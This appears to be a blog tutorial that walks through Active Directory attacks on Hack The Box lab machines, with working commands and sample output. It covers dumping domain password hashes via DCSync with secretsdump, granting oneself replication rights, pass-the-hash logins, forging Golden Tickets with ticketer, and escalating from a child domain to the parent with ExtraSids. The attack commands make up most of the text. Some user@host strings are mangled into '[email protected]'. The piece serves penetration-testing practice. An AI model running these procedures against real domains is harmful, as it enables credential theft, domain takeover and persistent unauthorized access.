DCSync and Golden Ticket: dump the domain and jump to the parent

The DCSync attack step by step with secretsdump: who can run it, how to use the hashes, forging a Golden Ticket with ticketer and escalating from a child domain with ExtraSids.

· 5 min read

DCSync is how almost every Active Directory box ends: you ask the domain controller, pretending to be another domain controller, to replicate the passwords of whichever accounts you want. You do not run anything on the DC and you do not touch LSASS; all you need is an account with replication rights. With the krbtgt hash it hands back you can also forge a Golden Ticket and, if there is a parent domain, jump to it.

The bare minimum

  • Replication between controllers uses the MS-DRSR protocol. Requesting it takes two rights on the domain object: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All.
  • Domain Admins, Enterprise Admins, Administrators and the DC machine accounts have them. On HTB, the interesting case is when a normal account was given them or when you can grant them to yourself through an ACL abuse.
  • What you get back are NT hashes, which you do not need to crack: you use them directly with pass-the-hash.
  • The krbtgt hash signs every Kerberos ticket in the domain. Whoever has it can mint tickets for any user: that is a Golden Ticket.

Requirements

  • Impacket (secretsdump, ticketer, lookupsid, psexec) and NetExec.
  • An account with replication rights: password, NT hash or Kerberos ticket.
  • Your clock in sync with the DC if you will use Kerberos: sudo ntpdate 10.10.10.175 (or faketime).
  • To practise: Sauna and Forest, both easy.

Step 1: who can DCSync

The quick way is BloodHound: look for DCSync, GetChanges and GetChangesAll edges into the domain node, or run the Find Principals with DCSync Rights query.

Without BloodHound, read the domain ACL with Impacket's dacledit:

impacket-dacledit -action read -target-dn 'DC=EGOTISTICAL-BANK,DC=LOCAL' \
  -principal svc_loanmgr 'EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23'
[*]   ACE[3] info
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     Object type (GUID)        : DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
[*]     Trustee (SID)             : svc_loanmgr (S-1-5-21-...-1108)

On Sauna the svc_loanmgr service account, whose password sits in the registry's autologon settings, has exactly those two rights.

Step 2: dump the hashes

With that account, ask the DC for the administrator's hash:

impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:[email protected]' \
  -just-dc-user Administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT hash>:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:<AES key>

The NT hash is the fourth field. The options you will use most:

Option What for
-just-dc-user krbtgt A single account
-just-dc-ntlm The whole domain, NT hashes only (no Kerberos keys)
-history Each account's previous passwords too
-user-status Flags disabled accounts
-hashes :<NT> Authenticate with a hash instead of a password
-k -no-pass Authenticate with the ticket in KRB5CCNAME

Tip

From a Windows session, do the same with Mimikatz: lsadump::dcsync /domain:egotistical-bank.local /user:Administrator. That is what Blazorized uses.

Step 3: use the hash

No need to crack it. Check it and log in:

nxc smb 10.10.10.175 -u Administrator -H <NT hash>
impacket-psexec EGOTISTICAL-BANK.LOCAL/[email protected] -hashes :<NT hash>
SMB  10.10.10.175  445  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\Administrator:<hash> (Pwn3d!)

(Pwn3d!) means you are local admin on that host. If the antivirus blocks psexec, use wmiexec or Evil-WinRM (evil-winrm -i 10.10.10.175 -u Administrator -H <hash>).

When you lack the right but can grant it

That is Forest: your user is in Account Operators, so you can create a user and add it to the Exchange Windows Permissions group, which has WriteDacl on the domain. With WriteDacl you grant yourself the replication rights:

impacket-dacledit -action write -rights DCSync -principal pwn \
  -target-dn 'DC=HTB,DC=LOCAL' 'HTB.LOCAL/pwn:Password123!'
impacket-secretsdump 'HTB.LOCAL/pwn:[email protected]' -just-dc-user Administrator

Groups such as Account Operators are covered in privileged Windows groups.

Step 4: Golden Ticket

The krbtgt hash gives you persistence: even if the administrator's password changes, you can mint a valid ticket for them. You need the krbtgt hash (or better, its AES key), the domain SID and the domain name.

impacket-secretsdump 'HTB.LOCAL/[email protected]' -hashes :<NT hash> -just-dc-user krbtgt
impacket-lookupsid 'HTB.LOCAL/[email protected]' -hashes :<NT hash> 0
[*] Domain SID is: S-1-5-21-3072663084-364016917-1341370565

Forge the ticket and use it:

impacket-ticketer -aesKey <krbtgt AES key> -domain-sid S-1-5-21-3072663084-364016917-1341370565 \
  -domain htb.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass htb.local/[email protected]

ticketer writes the ticket to Administrator.ccache. -nthash instead of -aesKey works too, but an RC4 ticket is easier to spot in a real engagement.

Warning

With Kerberos you must use the host name (forest.htb.local), not the IP, and that name must resolve: add it to /etc/hosts. And forge the ticket for a user that exists: patched DCs reject tickets for made-up users.

Step 5: from a child domain to the parent

An AD forest can hold several domains linked by trusts. Enumerate them:

nltest /domain_trusts
Get-ADTrust -Filter * | Select Name,Direction,TrustType

Or with NetExec from Linux: nxc ldap 10.10.10.10 -u user -p password -M enum_trusts.

If you are Domain Admin of a child domain (child.corp.local), you can become admin of the parent (corp.local). The trick is the ticket's ExtraSids field: you forge a child Golden Ticket that says you are also in the parent's Enterprise Admins (its SID ending in -519). Within the same forest, the parent believes it.

impacket-ticketer -nthash <child krbtgt> -domain-sid <child SID> -domain child.corp.local \
  -extra-sid <parent SID>-519 Administrator

Impacket automates all of it with raiseChild:

impacket-raiseChild child.corp.local/Administrator -hashes :<NT hash>

On Ghost the jump uses the trust key (the GHOST$ account) instead of krbtgt; on DarkZero the other domain is in another forest and the path goes through Kerberos delegation.

Note

Across different forests, SID filtering drops privileged SIDs from ExtraSids. That is why the -519 trick works from child to parent but not into a trusted forest.

Common mistakes

  • KRB_AP_ERR_SKEW(Clock skew too great): your clock does not match the DC's. Run sudo ntpdate <DC IP> and try again.
  • ERROR_DS_DRA_BAD_DN or rpc_s_access_denied from secretsdump: the account lacks replication rights or the domain name is misspelt. Go back to Step 1.
  • KDC_ERR_TGT_REVOKED with a Golden Ticket: the user does not exist in the domain. Forge it for a real user such as Administrator.
  • KDC_ERR_S_PRINCIPAL_UNKNOWN with -k: you are using the IP instead of the name, or the name is not in /etc/hosts.
  • The hash works on SMB but not WinRM: the user is not in Remote Management Users. Use psexec or wmiexec.

What next

Save the full BloodHound path as evidence for the report (pentest report). These steps are at the end of the Active Directory checklist, and there are more boxes in the best HTB machines for Active Directory.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

DCSync 9 machines

See all 9 machines →

Domain and forest trusts 2 machines

Spotted a mistake or something missing? Tell us